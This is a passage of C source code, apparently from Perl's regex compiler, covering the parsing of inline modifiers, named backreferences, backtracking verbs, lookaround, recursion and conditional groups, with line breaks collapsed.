/*NOTREACHED*/ case ONCE_PAT_MOD: /* 'o' */ case GLOBAL_PAT_MOD: /* 'g' */ if (ckWARN(WARN_REGEXP)) { const I32 wflagbit = *RExC_parse == 'o' ? WASTED_O : WASTED_G; if (! (wastedflags & wflagbit) ) { wastedflags |= wflagbit; /* diag_listed_as: Useless (?-%s) - don't use /%s modifier in regex; marked by <-- HERE in m/%s/ */ vWARN5( RExC_parse + 1, "Useless (%s%c) - %suse /%c modifier", flagsp == &negflags ? "?-" : "?", *RExC_parse, flagsp == &negflags ? "don't " : "", *RExC_parse ); } } break; case CONTINUE_PAT_MOD: /* 'c' */ if (ckWARN(WARN_REGEXP)) { if (! (wastedflags & WASTED_C) ) { wastedflags |= WASTED_GC; /* diag_listed_as: Useless (?-%s) - don't use /%s modifier in regex; marked by <-- HERE in m/%s/ */ vWARN3( RExC_parse + 1, "Useless (%sc) - %suse /gc modifier", flagsp == &negflags ? "?-" : "?", flagsp == &negflags ? "don't " : "" ); } } break; case KEEPCOPY_PAT_MOD: /* 'p' */ if (flagsp == &negflags) { ckWARNreg(RExC_parse + 1,"Useless use of (?-p)"); } else { *flagsp |= RXf_PMf_KEEPCOPY; } break; case '-': /* A flag is a default iff it is following a minus, so * if there is a minus, it means will be trying to * re-specify a default which is an error */ if (has_use_defaults || flagsp == &negflags) { goto fail_modifiers; } flagsp = &negflags; wastedflags = 0; /* reset so (?g-c) warns twice */ x_mod_count = 0; break; case ':': case ')': if ((posflags & (RXf_PMf_EXTENDED|RXf_PMf_EXTENDED_MORE)) == RXf_PMf_EXTENDED) { negflags |= RXf_PMf_EXTENDED_MORE; } RExC_flags |= posflags; if (negflags & RXf_PMf_EXTENDED) { negflags |= RXf_PMf_EXTENDED_MORE; } RExC_flags &= ~negflags; set_regex_charset(&RExC_flags, cs); return; default: fail_modifiers: RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f("Sequence (%" UTF8f "...) not recognized", UTF8fARG(UTF, RExC_parse-seqstart, seqstart)); NOT_REACHED; /*NOTREACHED*/ } RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; } vFAIL("Sequence (?... not terminated"); } /* - reg - regular expression, i.e. main body or parenthesized thing * * Caller must absorb opening parenthesis. * * Combining parenthesis handling with the base level of regular expression * is a trifle forced, but the need to tie the tails of the branches to what * follows makes it hard to avoid. */ #define REGTAIL(x,y,z) regtail((x),(y),(z),depth+1) #ifdef DEBUGGING #define REGTAIL_STUDY(x,y,z) regtail_study((x),(y),(z),depth+1) #else #define REGTAIL_STUDY(x,y,z) regtail((x),(y),(z),depth+1) #endif PERL_STATIC_INLINE regnode_offset S_handle_named_backref(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, char * parse_start, char ch ) { regnode_offset ret; char* name_start = RExC_parse; U32 num = 0; SV *sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_HANDLE_NAMED_BACKREF; if (RExC_parse == name_start || *RExC_parse != ch) { /* diag_listed_as: Sequence \%s... not terminated in regex; marked by <-- HERE in m/%s/ */ vFAIL2("Sequence %.3s... not terminated", parse_start); } if (sv_dat) { num = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[num]=(void*)sv_dat; SvREFCNT_inc_simple_void_NN(sv_dat); } RExC_sawback = 1; ret = reganode(pRExC_state, ((! FOLD) ? NREF : (ASCII_FOLD_RESTRICTED) ? NREFFA : (AT_LEAST_UNI_SEMANTICS) ? NREFFU : (LOC) ? NREFFL : NREFF), num); *flagp |= HASWIDTH; Set_Node_Offset(REGNODE_p(ret), parse_start+1); Set_Node_Cur_Length(REGNODE_p(ret), parse_start); nextchar(pRExC_state); return ret; } /* On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, with *flagp set to indicate why: * TRYAGAIN at the end of (?) that only sets flags. * RESTART_PARSE if the parse needs to be restarted, or'd with * NEED_UTF8 if the pattern needs to be upgraded to UTF-8. * Otherwise would only return 0 if regbranch() returns 0, which cannot * happen. */ STATIC regnode_offset S_reg(pTHX_ RExC_state_t *pRExC_state, I32 paren, I32 *flagp, U32 depth) /* paren: Parenthesized? 0=top; 1,2=inside '(': changed to letter. * 2 is like 1, but indicates that nextchar() has been called to advance * RExC_parse beyond the '('. Things like '(?' are indivisible tokens, and * this flag alerts us to the need to check for that */ { regnode_offset ret = 0; /* Will be the head of the group. */ regnode_offset br; regnode_offset lastbr; regnode_offset ender = 0; I32 parno = 0; I32 flags; U32 oregflags = RExC_flags; bool have_branch = 0; bool is_open = 0; I32 freeze_paren = 0; I32 after_freeze = 0; I32 num; /* numeric backreferences */ SV * max_open; /* Max number of unclosed parens */ char * parse_start = RExC_parse; /* MJD */ char * const oregcomp_parse = RExC_parse; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REG; DEBUG_PARSE("reg "); max_open = get_sv(RE_COMPILE_RECURSION_LIMIT, GV_ADD); assert(max_open); if (!SvIOK(max_open)) { sv_setiv(max_open, RE_COMPILE_RECURSION_INIT); } if (depth > 4 * (UV) SvIV(max_open)) { /* We increase depth by 4 for each open paren */ vFAIL("Too many nested open parens"); } *flagp = 0; /* Tentatively. */ /* Having this true makes it feasible to have a lot fewer tests for the * parse pointer being in scope. For example, we can write * while(isFOO(*RExC_parse)) RExC_parse++; * instead of * while(RExC_parse < RExC_end && isFOO(*RExC_parse)) RExC_parse++; */ assert(*RExC_end == '\0'); /* Make an OPEN node, if parenthesized. */ if (paren) { /* Under /x, space and comments can be gobbled up between the '(' and * here (if paren ==2). The forms '(*VERB' and '(?...' disallow such * intervening space, as the sequence is a token, and a token should be * indivisible */ bool has_intervening_patws = (paren == 2) && *(RExC_parse - 1) != '('; if (RExC_parse >= RExC_end) { vFAIL("Unmatched ("); } if (paren == 'r') { /* Atomic script run */ paren = '>'; goto parse_rest; } else if ( *RExC_parse == '*') { /* (*VERB:ARG), (*construct:...) */ char *start_verb = RExC_parse + 1; STRLEN verb_len; char *start_arg = NULL; unsigned char op = 0; int arg_required = 0; int internal_argval = -1; /* if >-1 we are not allowed an argument*/ bool has_upper = FALSE; if (has_intervening_patws) { RExC_parse++; /* past the '*' */ /* For strict backwards compatibility, don't change the message * now that we also have lowercase operands */ if (isUPPER(*RExC_parse)) { vFAIL("In '(*VERB...)', the '(' and '*' must be adjacent"); } else { vFAIL("In '(*...)', the '(' and '*' must be adjacent"); } } while (RExC_parse < RExC_end && *RExC_parse != ')' ) { if ( *RExC_parse == ':' ) { start_arg = RExC_parse + 1; break; } else if (! UTF) { if (isUPPER(*RExC_parse)) { has_upper = TRUE; } RExC_parse++; } else { RExC_parse += UTF8SKIP(RExC_parse); } } verb_len = RExC_parse - start_verb; if ( start_arg ) { if (RExC_parse >= RExC_end) { goto unterminated_verb_pattern; } RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; while ( RExC_parse < RExC_end && *RExC_parse != ')' ) { RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; } if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) { unterminated_verb_pattern: if (has_upper) { vFAIL("Unterminated verb pattern argument"); } else { vFAIL("Unterminated '(*...' argument"); } } } else { if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) { if (has_upper) { vFAIL("Unterminated verb pattern"); } else { vFAIL("Unterminated '(*...' construct"); } } } /* Here, we know that RExC_parse < RExC_end */ switch ( *start_verb ) { case 'A': /* (*ACCEPT) */ if ( memEQs(start_verb, verb_len,"ACCEPT") ) { op = ACCEPT; internal_argval = RExC_nestroot; } break; case 'C': /* (*COMMIT) */ if ( memEQs(start_verb, verb_len,"COMMIT") ) op = COMMIT; break; case 'F': /* (*FAIL) */ if ( verb_len==1 || memEQs(start_verb, verb_len,"FAIL") ) { op = OPFAIL; } break; case ':': /* (*:NAME) */ case 'M': /* (*MARK:NAME) */ if ( verb_len==0 || memEQs(start_verb, verb_len,"MARK") ) { op = MARKPOINT; arg_required = 1; } break; case 'P': /* (*PRUNE) */ if ( memEQs(start_verb, verb_len,"PRUNE") ) op = PRUNE; break; case 'S': /* (*SKIP) */ if ( memEQs(start_verb, verb_len,"SKIP") ) op = SKIP; break; case 'T': /* (*THEN) */ /* [19:06] <TimToady> :: is then */ if ( memEQs(start_verb, verb_len,"THEN") ) { op = CUTGROUP; RExC_seen |= REG_CUTGROUP_SEEN; } break; case 'a': if ( memEQs(start_verb, verb_len, "asr") || memEQs(start_verb, verb_len, "atomic_script_run")) { paren = 'r'; /* Mnemonic: recursed run */ goto script_run; } else if (memEQs(start_verb, verb_len, "atomic")) { paren = 't'; /* AtOMIC */ goto alpha_assertions; } break; case 'p': if ( memEQs(start_verb, verb_len, "plb") || memEQs(start_verb, verb_len, "positive_lookbehind")) { paren = 'b'; goto lookbehind_alpha_assertions; } else if ( memEQs(start_verb, verb_len, "pla") || memEQs(start_verb, verb_len, "positive_lookahead")) { paren = 'a'; goto alpha_assertions; } break; case 'n': if ( memEQs(start_verb, verb_len, "nlb") || memEQs(start_verb, verb_len, "negative_lookbehind")) { paren = 'B'; goto lookbehind_alpha_assertions; } else if ( memEQs(start_verb, verb_len, "nla") || memEQs(start_verb, verb_len, "negative_lookahead")) { paren = 'A'; goto alpha_assertions; } break; case 's': if ( memEQs(start_verb, verb_len, "sr") || memEQs(start_verb, verb_len, "script_run")) { regnode_offset atomic; paren = 's'; script_run: /* This indicates Unicode rules. */ REQUIRE_UNI_RULES(flagp, 0); if (! start_arg) { goto no_colon; } RExC_parse = start_arg; if (RExC_in_script_run) { /* Nested script runs are treated as no-ops, because * if the nested one fails, the outer one must as * well. It could fail sooner, and avoid (??{} with * side effects, but that is explicitly documented as * undefined behavior. */ ret = 0; if (paren == 's') { paren = ':'; goto parse_rest; } /* But, the atomic part of a nested atomic script run * isn't a no-op, but can be treated just like a '(?>' * */ paren = '>'; goto parse_rest; } /* By doing this here, we avoid extra warnings for nested * script runs */ ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__SCRIPT_RUN, "The script_run feature is experimental"); if (paren == 's') { /* Here, we're starting a new regular script run */ ret = reg_node(pRExC_state, SROPEN); RExC_in_script_run = 1; is_open = 1; goto parse_rest; } /* Here, we are starting an atomic script run. This is * handled by recursing to deal with the atomic portion * separately, enclosed in SROPEN ... SRCLOSE nodes */ ret = reg_node(pRExC_state, SROPEN); RExC_in_script_run = 1; atomic = reg(pRExC_state, 'r', &flags, depth); if (flags & (RESTART_PARSE|NEED_UTF8)) { *flagp = flags & (RESTART_PARSE|NEED_UTF8); return 0; } if (! REGTAIL(pRExC_state, ret, atomic)) { REQUIRE_BRANCHJ(flagp, 0); } if (! REGTAIL(pRExC_state, atomic, reg_node(pRExC_state, SRCLOSE))) { REQUIRE_BRANCHJ(flagp, 0); } RExC_in_script_run = 0; return ret; } break; lookbehind_alpha_assertions: RExC_seen |= REG_LOOKBEHIND_SEEN; RExC_in_lookbehind++; /*FALLTHROUGH*/ alpha_assertions: ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__ALPHA_ASSERTIONS, "The alpha_assertions feature is experimental"); RExC_seen_zerolen++; if (! start_arg) { goto no_colon; } /* An empty negative lookahead assertion simply is failure */ if (paren == 'A' && RExC_parse == start_arg) { ret=reganode(pRExC_state, OPFAIL, 0); nextchar(pRExC_state); return ret; } RExC_parse = start_arg; goto parse_rest; no_colon: vFAIL2utf8f( "'(*%" UTF8f "' requires a terminating ':'", UTF8fARG(UTF, verb_len, start_verb)); NOT_REACHED; /*NOTREACHED*/ } /* End of switch */ if ( ! op ) { RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; if (has_upper || verb_len == 0) { vFAIL2utf8f( "Unknown verb pattern '%" UTF8f "'", UTF8fARG(UTF, verb_len, start_verb)); } else { vFAIL2utf8f( "Unknown '(*...)' construct '%" UTF8f "'", UTF8fARG(UTF, verb_len, start_verb)); } } if ( RExC_parse == start_arg ) { start_arg = NULL; } if ( arg_required && !start_arg ) { vFAIL3("Verb pattern '%.*s' has a mandatory argument", verb_len, start_verb); } if (internal_argval == -1) { ret = reganode(pRExC_state, op, 0); } else { ret = reg2Lanode(pRExC_state, op, 0, internal_argval); } RExC_seen |= REG_VERBARG_SEEN; if (start_arg) { SV *sv = newSVpvn( start_arg, RExC_parse - start_arg); ARG(REGNODE_p(ret)) = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[ARG(REGNODE_p(ret))]=(void*)sv; FLAGS(REGNODE_p(ret)) = 1; } else { FLAGS(REGNODE_p(ret)) = 0; } if ( internal_argval != -1 ) ARG2L_SET(REGNODE_p(ret), internal_argval); nextchar(pRExC_state); return ret; } else if (*RExC_parse == '?') { /* (?...) */ bool is_logical = 0; const char * const seqstart = RExC_parse; const char * endptr; if (has_intervening_patws) { RExC_parse++; vFAIL("In '(?...)', the '(' and '?' must be adjacent"); } RExC_parse++; /* past the '?' */ paren = *RExC_parse; /* might be a trailing NUL, if not well-formed */ RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse > RExC_end) { paren = '\0'; } ret = 0; /* For look-ahead/behind. */ switch (paren) { case 'P': /* (?P...) variants for those used to PCRE/Python */ paren = *RExC_parse; if ( paren == '<') { /* (?P<...>) named capture */ RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?P<... not terminated"); } goto named_capture; } else if (paren == '>') { /* (?P>name) named recursion */ RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?P>... not terminated"); } goto named_recursion; } else if (paren == '=') { /* (?P=...) named backref */ RExC_parse++; return handle_named_backref(pRExC_state, flagp, parse_start, ')'); } RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL3("Sequence (%.*s...) not recognized", RExC_parse-seqstart, seqstart); NOT_REACHED; /*NOTREACHED*/ case '<': /* (?<...) */ if (*RExC_parse == '!') paren = ','; else if (*RExC_parse != '=') named_capture: { /* (?<...>) */ char *name_start; SV *svname; paren= '>'; /* FALLTHROUGH */ case '\'': /* (?'...') */ name_start = RExC_parse; svname = reg_scan_name(pRExC_state, REG_RSN_RETURN_NAME); if ( RExC_parse == name_start || RExC_parse >= RExC_end || *RExC_parse != paren) { vFAIL2("Sequence (?%c... not terminated", paren=='>' ? '<' : paren); } { HE *he_str; SV *sv_dat = NULL; if (!svname) /* shouldn't happen */ Perl_croak(aTHX_ "panic: reg_scan_name returned NULL"); if (!RExC_paren_names) { RExC_paren_names= newHV(); sv_2mortal(MUTABLE_SV(RExC_paren_names)); #ifdef DEBUGGING RExC_paren_name_list= newAV(); sv_2mortal(MUTABLE_SV(RExC_paren_name_list)); #endif } he_str = hv_fetch_ent( RExC_paren_names, svname, 1, 0 ); if ( he_str ) sv_dat = HeVAL(he_str); if ( ! sv_dat ) { /* croak baby croak */ Perl_croak(aTHX_ "panic: paren_name hash element allocation failed"); } else if ( SvPOK(sv_dat) ) { /* (?|...) can mean we have dupes so scan to check its already been stored. Maybe a flag indicating we are inside such a construct would be useful, but the arrays are likely to be quite small, so for now we punt -- dmq */ IV count = SvIV(sv_dat); I32 *pv = (I32*)SvPVX(sv_dat); IV i; for ( i = 0 ; i < count ; i++ ) { if ( pv[i] == RExC_npar ) { count = 0; break; } } if ( count ) { pv = (I32*)SvGROW(sv_dat, SvCUR(sv_dat) + sizeof(I32)+1); SvCUR_set(sv_dat, SvCUR(sv_dat) + sizeof(I32)); pv[count] = RExC_npar; SvIV_set(sv_dat, SvIVX(sv_dat) + 1); } } else { (void)SvUPGRADE(sv_dat, SVt_PVNV); sv_setpvn(sv_dat, (char *)&(RExC_npar), sizeof(I32)); SvIOK_on(sv_dat); SvIV_set(sv_dat, 1); } #ifdef DEBUGGING /* Yes this does cause a memory leak in debugging Perls * */ if (!av_store(RExC_paren_name_list, RExC_npar, SvREFCNT_inc_NN(svname))) SvREFCNT_dec_NN(svname); #endif /*sv_dump(sv_dat);*/ } nextchar(pRExC_state); paren = 1; goto capturing_parens; } RExC_seen |= REG_LOOKBEHIND_SEEN; RExC_in_lookbehind++; RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?... not terminated"); } /* FALLTHROUGH */ case '=': /* (?=...) */ RExC_seen_zerolen++; break; case '!': /* (?!...) */ RExC_seen_zerolen++; /* check if we're really just a "FAIL" assertion */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); if (*RExC_parse == ')') { ret=reganode(pRExC_state, OPFAIL, 0); nextchar(pRExC_state); return ret; } break; case '|': /* (?|...) */ /* branch reset, behave like a (?:...) except that buffers in alternations share the same numbers */ paren = ':'; after_freeze = freeze_paren = RExC_npar; /* XXX This construct currently requires an extra pass. * Investigation would be required to see if that could be * changed */ REQUIRE_PARENS_PASS; break; case ':': /* (?:...) */ case '>': /* (?>...) */ break; case '$': /* (?$...) */ case '@': /* (?@...) */ vFAIL2("Sequence (?%c...) not implemented", (int)paren); break; case '0' : /* (?0) */ case 'R' : /* (?R) */ if (RExC_parse == RExC_end || *RExC_parse != ')') FAIL("Sequence (?R) not terminated"); num = 0; RExC_seen |= REG_RECURSE_SEEN; /* XXX These constructs currently require an extra pass. * It probably could be changed */ REQUIRE_PARENS_PASS; *flagp |= POSTPONED; goto gen_recurse_regop; /*notreached*/ /* named and numeric backreferences */ case '&': /* (?&NAME) */ parse_start = RExC_parse - 1; named_recursion: { SV *sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); num = sv_dat ? *((I32 *)SvPVX(sv_dat)) : 0; } if (RExC_parse >= RExC_end || *RExC_parse != ')') vFAIL("Sequence (?&... not terminated"); goto gen_recurse_regop; /* NOTREACHED */ case '+': if (! inRANGE(RExC_parse[0], '1', '9')) { RExC_parse++; vFAIL("Illegal pattern"); } goto parse_recursion; /* NOTREACHED*/ case '-': /* (?-1) */ if (! inRANGE(RExC_parse[0], '1', '9')) { RExC_parse--; /* rewind to let it be handled later */ goto parse_flags; } /* FALLTHROUGH */ case '1': case '2': case '3': case '4': /* (?1) */ case '5': case '6': case '7': case '8': case '9': RExC_parse = (char *) seqstart + 1; /* Point to the digit */ parse_recursion: { bool is_neg = FALSE; UV unum; parse_start = RExC_parse - 1; /* MJD */ if (*RExC_parse == '-') { RExC_parse++; is_neg = TRUE; } endptr = RExC_end; if (grok_atoUV(RExC_parse, &unum, &endptr) && unum <= I32_MAX ) { num = (I32)unum; RExC_parse = (char*)endptr; } else num = I32_MAX; if (is_neg) { /* Some limit for num? */ num = -num; } } if (*RExC_parse!=')') vFAIL("Expecting close bracket"); gen_recurse_regop: if ( paren == '-' ) { /* Diagram of capture buffer numbering. Top line is the normal capture buffer numbers Bottom line is the negative indexing as from the X (the (?-2)) + 1 2 3 4 5 X 6 7 /(a(x)y)(a(b(c(?-2)d)e)f)(g(h))/ - 5 4 3 2 1 X x x */ num = RExC_npar + num; if (num < 1) { /* It might be a forward reference; we can't fail until * we know, by completing the parse to get all the * groups, and then reparsing */ if (ALL_PARENS_COUNTED) { RExC_parse++; vFAIL("Reference to nonexistent group"); } else { REQUIRE_PARENS_PASS; } } } else if ( paren == '+' ) { num = RExC_npar + num - 1; } /* We keep track how many GOSUB items we have produced. To start off the ARG2L() of the GOSUB holds its "id", which is used later in conjunction with RExC_recurse to calculate the offset we need to jump for the GOSUB, which it will store in the final representation. We have to defer the actual calculation until much later as the regop may move. */ ret = reg2Lanode(pRExC_state, GOSUB, num, RExC_recurse_count); if (num >= RExC_npar) { /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { if (num >= RExC_total_parens) { RExC_parse++; vFAIL("Reference to nonexistent group"); } } else { REQUIRE_PARENS_PASS; } } RExC_recurse_count++; DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Recurse #%" UVuf " to %" IVdf "\n", 22, "| |", (int)(depth * 2 + 1), "", (UV)ARG(REGNODE_p(ret)), (IV)ARG2L(REGNODE_p(ret)))); RExC_seen |= REG_RECURSE_SEEN; Set_Node_Length(REGNODE_p(ret), 1 + regarglen[OP(REGNODE_p(ret))]); /* MJD */ Set_Node_Offset(REGNODE_p(ret), parse_start); /* MJD */ *flagp |= POSTPONED; assert(*RExC_parse == ')'); nextchar(pRExC_state); return ret; /* NOTREACHED */ case '?': /* (??...) */ is_logical = 1; if (*RExC_parse != '{') { RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f( "Sequence (%" UTF8f "...) not recognized", UTF8fARG(UTF, RExC_parse-seqstart, seqstart)); NOT_REACHED; /*NOTREACHED*/ } *flagp |= POSTPONED; paren = '{'; RExC_parse++; /* FALLTHROUGH */ case '{': /* (?{...}) */ { U32 n = 0; struct reg_code_block *cb; OP * o; RExC_seen_zerolen++; if ( !pRExC_state->code_blocks || pRExC_state->code_index >= pRExC_state->code_blocks->count || pRExC_state->code_blocks->cb[pRExC_state->code_index].start != (STRLEN)((RExC_parse -3 - (is_logical ? 1 : 0)) - RExC_start) ) { if (RExC_pm_flags & PMf_USE_RE_EVAL) FAIL("panic: Sequence (?{...}): no code block found\n"); FAIL("Eval-group not allowed at runtime, use re 'eval'"); } /* this is a pre-compiled code block (?{...}) */ cb = &pRExC_state->code_blocks->cb[pRExC_state->code_index]; RExC_parse = RExC_start + cb->end; o = cb->block; if (cb->src_regex) { n = add_data(pRExC_state, STR_WITH_LEN("rl")); RExC_rxi->data->data[n] = (void*)SvREFCNT_inc((SV*)cb->src_regex); RExC_rxi->data->data[n+1] = (void*)o; } else { n = add_data(pRExC_state, (RExC_pm_flags & PMf_HAS_CV) ? "L" : "l", 1); RExC_rxi->data->data[n] = (void*)o; } pRExC_state->code_index++; nextchar(pRExC_state); if (is_logical) { regnode_offset eval; ret = reg_node(pRExC_state, LOGICAL); eval = reg2Lanode(pRExC_state, EVAL, n, /* for later propagation into (??{}) * return value */ RExC_flags & RXf_PMf_COMPILETIME ); FLAGS(REGNODE_p(ret)) = 2; if (! REGTAIL(pRExC_state, ret, eval)) { REQUIRE_BRANCHJ(flagp, 0); } /* deal with the length of this later - MJD */ return ret; } ret = reg2Lanode(pRExC_state, EVAL, n, 0); Set_Node_Length(REGNODE_p(ret), RExC_parse - parse_start + 1); Set_Node_Offset(REGNODE_p(ret), parse_start); return ret; } case '(': /* (?(?{...})...) and (?(?=...)...) */ { int is_define= 0; const int DEFINE_len = sizeof("DEFINE") - 1; if ( RExC_parse < RExC_end - 1 && ( ( RExC_parse[0] == '?' /* (?(?...)) */ && ( RExC_parse[1] == '=' || RExC_parse[1] == '!' || RExC_parse[1] == '<' || RExC_parse[1] == '{')) || ( RExC_parse[0] == '*' /* (?(*...)) */ && ( memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "pla:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "plb:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "nla:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "nlb:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "positive_lookahead:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "positive_lookbehind:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "negative_lookahead:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "negative_lookbehind:")))) ) { /* Lookahead or eval. */ I32 flag; regnode_offset tail; ret = reg_node(pRExC_state, LOGICAL); FLAGS(REGNODE_p(ret)) = 1; tail = reg(pRExC_state, 1, &flag, depth+1); RETURN_FAIL_ON_RESTART(flag, flagp); if (! REGTAIL(pRExC_state, ret, tail)) { REQUIRE_BRANCHJ(flagp, 0); } goto insert_if; } else if ( RExC_parse[0] == '<' /* (?(<NAME>)...) */ || RExC_parse[0] == '\'' ) /* (?('NAME')...) */ { char ch = RExC_parse[0] == '<' ? '>' : '\''; char *name_start= RExC_parse++; U32 num = 0; SV *sv_dat=reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); if ( RExC_parse == name_start || RExC_parse >= RExC_end || *RExC_parse != ch) { vFAIL2("Sequence (?(%c... not terminated", (ch == '>' ? '<' : ch)); } RExC_parse++; if (sv_dat) { num = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[num]=(void*)sv_dat; SvREFCNT_inc_simple_void_NN(sv_dat); } ret = reganode(pRExC_state, NGROUPP, num); goto insert_if_check_paren; } else if (memBEGINs(RExC_parse, (STRLEN) (RExC_end - RExC_parse), "DEFINE")) { ret = reganode(pRExC_state, DEFINEP, 0); RExC_parse += DEFINE_len; is_define = 1; goto insert_if_check_paren; } else if (RExC_parse[0] == 'R') { RExC_parse++; /* parno == 0 => /(?(R)YES|NO)/ "in any form of recursion OR eval" * parno == 1 => /(?(R0)YES|NO)/ "in GOSUB (?0) / (?R)" * parno == 2 => /(?(R1)YES|NO)/ "in GOSUB (?1) (parno-1)" */ parno = 0; if (RExC_parse[0] == '0') { parno = 1; RExC_parse++; } else if (inRANGE(RExC_parse[0], '1', '9')) { UV uv; endptr = RExC_end; if (grok_atoUV(RExC_parse, &uv, &endptr) && uv <= I32_MAX ) { parno = (I32)uv + 1; RExC_parse = (char*)endptr; } /* else "Switch condition not recognized" below */ } else if (RExC_parse[0] == '&') { SV *sv_dat; RExC_parse++; sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); if (sv_dat) parno = 1 + *((I32 *)SvPVX(sv_dat)); } ret = reganode(pRExC_state, INSUBP, parno); goto insert_if_check_paren; } else if (inRANGE(RExC_parse[0], '1', '9')) { /* (?(1)...) */ char c; UV uv; endptr = RExC_end; if (grok_atoUV(RExC_parse, &uv, &endptr) && uv <= I32_MAX ) { parno = (I32)uv; RExC_parse = (char*)endptr; } else { vFAIL("panic: grok_atoUV returned FALSE"); } ret = reganode(pRExC_state, GROUPP, parno); insert_if_check_paren: if (UCHARAT(RExC_parse) != ')') { RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Switch condition not recognized"); } nextchar(pRExC_state); insert_if: if (! REGTAIL(pRExC_state, ret, reganode(pRExC_state, IFTHEN, 0))) { REQUIRE_BRANCHJ(flagp, 0); } br = regbranch(pRExC_state, &flags, 1, depth+1); if (br == 0) { RETURN_FAIL_ON_RESTART(flags,flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } else if (! REGTAIL(pRExC_state, br, reganode(pRExC_state, LONGJMP, 0))) { REQUIRE_BRANCHJ(flagp, 0); } c = UCHARAT(RExC_parse); nextchar(pRExC_state); if (flags&HASWIDTH) *flagp |= HASWIDTH; if (c == '|') { if (is_define) vFAIL("(?(DEFINE)....) does not allow branches"); /* Fake one for optimizer. */ lastbr = reganode(pRExC_state, IFTHEN, 0); if (!regbranch(pRExC_state, &flags, 1, depth+1)) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (! REGTAIL(pRExC_state, ret, lastbr)) { REQUIRE_BRANCHJ(flagp, 0); } if (flags&HASWIDTH) *flagp |= HASWIDTH; c = UCHARAT(RExC_parse); nextchar(pRExC_state); } else lastbr = 0; if (c != ')') { if (RExC_parse >= RExC_end) vFAIL("Switch (?(condition)... not terminated"); else vFAIL("Switch (?(condition)... contains too many branches"); } ender = reg_node(pRExC_state, TAIL); if (! REGTAIL(pRExC_state, br, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (lastbr) { if (! REGTAIL(pRExC_state, lastbr, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (! REGTAIL(pRExC_state, REGNODE_OFFSET( NEXTOPER( NEXTOPER(REGNODE_p(lastbr)))), ender)) { REQUIRE_BRANCHJ(flagp, 0); } } else if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } #if 0 /* Removing this doesn't cause failures in the test suite -- khw */ RExC_size++; /* XXX WHY do we need this?!! For large programs it seems to be required but I can't figure out why. -- dmq*/ #endif return ret; } RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Unknown switch condition (?(...))"); } case '[': /* (?[ ... ]) */ return handle_regex_sets(pRExC_state, NULL, flagp, depth+1, oregcomp_parse); case 0: /* A NUL */ RExC_parse--; /* for vFAIL to print correctly */ vFAIL("Sequence (? incomplete"); break; case ')': if (RExC_strict) { /* [perl #132851] */ ckWARNreg(RExC_parse, "Empty (?) without any modifiers"); } /* FALLTHROUGH */ default: /* e.g., (?i) */ RExC_parse = (char *) seqstart + 1; parse_flags: parse_lparen_question_flags(pRExC_state); if (UCHARAT(RExC_parse) != ':') { if (RExC_parse < RExC_end) nextchar(pRExC_state); *flagp = TRYAGAIN; return 0; } paren = ':'; nextchar(pRExC_state); ret = 0; goto parse_rest; } /* end switch */ } else { if (*RExC_parse == '{') { ckWARNregdep(RExC_parse + 1, "Unescaped left brace in regex is " "deprecated here (and will be fatal " "in Perl 5.32), passed through"); } /* Not bothering to indent here, as the above 'else' is temporary * */ if (!(RExC_flags & RXf_PMf_NOCAPTURE)) { 